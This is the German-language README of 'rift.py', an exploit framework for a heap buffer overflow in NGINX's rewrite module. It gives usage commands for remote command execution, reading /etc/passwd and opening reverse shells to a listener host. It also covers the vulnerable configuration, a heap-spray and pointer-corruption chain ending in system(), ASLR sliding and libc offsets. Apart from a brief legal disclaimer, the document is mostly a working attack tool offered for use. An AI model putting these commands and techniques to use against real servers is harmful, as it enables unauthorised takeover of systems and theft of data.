
Ein Fehler wurde in NGINX gefunden, speziell im Modul ngx_http_rewrite_module. Ein nicht authentifizierter Angreifer kann diese Schwachstelle ausnutzen, indem er manipulierte HTTP-Anfragen unter bestimmten Rewrite-Konfigurationen sendet. Dies kann zu einem Heap-Pufferüberlauf im NGINX-Worker-Prozess führen, der eine willkürliche Codeausführung zur Folge haben kann.
Autor: Michael Sanji Winaya Prawiradibrata
KI-Co-Autor: Varanus — sahabatku
Heap-Buffer-Overflow-Exploit-Framework für NGINX's
ngx_http_rewrite_module.
Ein Tool für Reconnaissance + Exploit. Keine externen Abhängigkeiten.
| Datei | Beschreibung |
|---|---|
rift.py | Haupttool. Kombination aus Recon + Exploit in einem Skript (1026 Zeilen). |
README.md | Diese Dokumentation. |
# 1. Vollständige Reconnaissance — Version, Endpoints, Schwachstellen, Strategie erkennen
python3 rift.py --target 10.10.10.10 --recon
# 2. Recon + Exploit in einem Durchlauf
python3 rift.py --target 10.10.10.10 --auto --cmd "id"
# 3. Befehlsausführung
python3 rift.py --target 10.10.10.10 --cmd "whoami"
# 4. Reverse Shell (Listener automatisch öffnen)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444
# 5. Reverse Shell mit bash (statt python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444
# 6. Nur auf Verwundbarkeit prüfen
python3 rift.py --target 10.10.10.10 --check-only
Bei Verwendung von --shell führt das Skript automatisch Folgendes aus:
--shell-type generieren--lport öffnennc -lvnp), Fallback Python-ListenerFalls die Standardadressen fehlschlagen, verschiebt das Skript automatisch die Heap-Basis um ±5 Schritte × 0x10000 und sucht nach einer passenden Adresse. Keine manuelle Einstellung erforderlich.
4 Arten von Shell-Payloads — python, bash, nc, php. Wähle die auf dem Ziel verfügbare.
--recon führt 5 Phasen aus:
--output json für Integration mit anderen Tools oder automatisches Parsen.
Ziel des Exploits ist NGINX mit einer Konfiguration von rewrite + set wie folgt:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # is_args = 1
set $original_endpoint $1; # Längenberechnung mit is_args = 0
}
Die Folge: Der zugewiesene Puffer ist zu klein, URI-Escaping (3× Expansion) führt zu einem Überlauf.
1. HEAP SPRAY ─── POST /spray × 20 → Fake-`ngx_pool_cleanup_s` im Heap ablegen
2. TRIGGER ────── GET /api/AAAA...++++... → Überlauf durch URI-Escaping
3. CORRUPT ────── Überlauf überschreibt den Cleanup-Pointer des benachbarten Pools
4. EXEC ───────── Pool wird zerstört → ruft system("Befehl") auf
rift.py änderbar)python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose
python3 rift.py --target 10.10.10.10 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50
python3 rift.py --target 10.10.10.10 --recon --output json
python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py
nc -zv <IP> 80--port 8080, --port 443--auto für automatisches ASLR-Sliding versuchen--verbose versuchen, um Details pro Versuch zu sehensudo ufw allow 4444--lhost prüfen – sicherstellen, dass die lokale IP korrekt ist--shell-type bash oder --shell-type nc versuchenErstellt nur zu Bildungszwecken und für autorisierte Sicherheitstests.
Die Verwendung gegen Systeme ohne Genehmigung ist illegal.
© 2026 Michael Sanji Winaya Prawiradibrata
KI-Co-Autor: Varanus
| Flag | Funktion |
|---|
--recon | Vollständige Reconnaissance. Fingerprinting → Info-Leak → Endpoint-Test → Worker-Zahl → Strategie. |
--auto | Recon + Exploit automatisch. Wie --recon, dann direkt Exploit. |
--check-only | Schnellprüfung. NGINX erkennen, Version, Endpoint /api/. |
--cmd "Befehl" | Einzelnen Befehl per system() ausführen. |
--shell | Reverse Shell — Listener automatisch öffnen, Payload senden, Verbindung empfangen. |
| Flag | Standard | Funktion |
|---|
--port | 80 | Ziel-Port |
--lhost | — | Lokale IP für Reverse Shell (erforderlich bei --shell) |
--lport | 4444 | Lokaler Port für Listener |
--shell-type | python | Reverse-Shell-Payload: python, bash, nc, php |
--heap-base | 0x555555659000 | Basisadresse Heap (für ASLR-Bypass überschreiben) |
--libc-base | 0x7ffff77ba000 | Basisadresse libc |
--tries | 10 | Versuche pro Kandidatenadresse |
--verbose / -v | — | Detailausgabe pro Versuch |
| Flag | Funktion |
|---|
--fingerprint | NGINX-Version, Endpoints, Rewrite-Modul erkennen |
--leak | Auf Information-Leak prüfen (Speicheradresse in Fehlerseite, Timing) |
--test-endpoint | Verhalten des Endpoints mit verschiedenen Payloads testen |
--endpoint | Zu testender Endpoint-Pfad (Standard: /api/) |
--generate-exploit | Exploit-Skript mit Zieladressen generieren |
--output json | JSON-Ausgabe (maschinenlesbar) neben Terminalausgabe |
| Konstante | Standard | Bedeutung |
|---|
BODY_LEN | 4000 | Größe des Spray-Bodys (Bytes) |
N_SPRAY | 20 | Anzahl der POST-Requests pro Versuch |
LIBC_SYSTEM_OFFSETS | 7 Einträge | Offset von system() für verschiedene Distributionen |
PREREAD_HEAP_OFFSETS | 19 Einträge | Kandidaten-Offsets für Heap |
DEFAULT_HEAP_BASE | 0x555555659000 | Heap-Basis (ASLR deaktiviert) |
DEFAULT_LIBC_BASE | 0x7ffff77ba000 | Libc-Basis (ASLR deaktiviert) |